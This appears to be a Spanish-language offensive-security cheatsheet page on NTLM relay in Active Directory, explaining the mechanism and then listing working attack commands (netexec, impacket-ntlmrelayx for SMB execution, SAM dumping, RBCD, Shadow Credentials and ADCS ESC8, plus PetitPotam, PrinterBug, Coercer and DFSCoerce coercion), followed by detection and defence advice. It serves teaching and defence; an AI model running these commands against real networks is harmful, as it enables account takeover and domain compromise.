NTLM Relay
Arsenal completo de comandos en la cheatsheetEl NTLM relay no crackea el hash capturado: lo retransmite en tiempo real a un tercer servicio para autenticarse allí como la víctima. Convierte una autenticación NTLM interceptada (por envenenamiento LLMNR o por coerción) en acceso directo, sin tocar ninguna contraseña.
Por qué funciona. El reto-respuesta NTLM demuestra que el cliente conoce la clave, pero no está atado al servidor con el que se negocia: si un atacante se coloca en medio, puede reenviar cada mensaje del handshake a otro servicio y completar allí la autenticación como si fuera la víctima. La única salvaguarda es la firma (SMB signing, channel binding): si el servicio destino no la exige, el relay funciona.
El abuso. Con ntlmrelayx se define el destino. Los tres clásicos: relay SMB a un host donde la cuenta es admin local (ejecuta comandos o vuelca la SAM), relay a LDAP(S) del DC para configurarse un RBCD o unas Shadow Credentials, y relay al endpoint web de ADCS (ESC8) para pedir un certificado a nombre de la víctima.
Primero hay que saber qué hosts no firman (candidatos a destino), y luego elegir el relay según el objetivo:
netexec smb <subred> --gen-relay-list targets.txt # lista de hosts con SMB signing desactivado
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'whoami' # relay SMB + ejecutar comando
impacket-ntlmrelayx -tf targets.txt -smb2support # sin -c: vuelca la SAM por defecto
impacket-ntlmrelayx -tf targets.txt -smb2support -socks # -socks: sesion interactiva via proxychains
impacket-ntlmrelayx -t ldaps://<dc> --delegate-access -smb2support # LDAPS: concederse RBCD
impacket-ntlmrelayx -t ldaps://<dc> --shadow-credentials --shadow-target <victim> # Shadow Credentials
impacket-ntlmrelayx -t http://<ca>/certsrv/certfnsh.asp --adcs --template DomainController -smb2support # ADCS ESC8Con el relay a la escucha, se fuerza la autenticación de la víctima (mucho más fiable que esperar un fallo de resolución). Una coerción por línea:
petitpotam.py <lhost> <target> # MS-EFSR (EfsRpcOpenFileRaw)
printerbug.py <domain>/<user>:<pass>@<target> <lhost> # MS-RPRN (spooler)
coercer coerce -u <user> -p <pass> -t <target> -l <lhost> # prueba muchos RPC a la vez
dfscoerce.py -u <user> -p <pass> <lhost> <target> # MS-DFSNMRequisitos. El servicio destino no debe exigir firma (SMB signing desactivado, o LDAP sin channel binding), y hace falta una autenticación que retransmitir: llega del envenenamiento de nombres o, mejor, de forzarla con una coerción (PetitPotam, PrinterBug, Coercer). No se puede retransmitir a la misma máquina de origen.
Cómo detectarlo. La firma es un inicio de sesión (4624) cuya IP de origen no coincide con la del equipo que dice autenticarse: la víctima "aparece" iniciando sesión desde la máquina del atacante. Ayuda vigilar autenticaciones de cuentas de equipo ($) hacia el DC o la CA justo después de una coerción, y cambios de atributos sensibles (msDS-AllowedToActOnBehalfOfOtherIdentity, msDS-KeyCredentialLink) sin un proceso administrativo detrás.
Defensa. Exigir firma SMB y LDAP y activar EPA/channel binding en LDAPS y en el endpoint web de ADCS (esto último mata ESC8); deshabilitar NTLM donde se pueda; y cortar la coerción parcheando y filtrando los RPC de PetitPotam/PrinterBug. Nace de un envenenamiento LLMNR y suele terminar en Pass-the-Hash, RBCD o Shadow Credentials.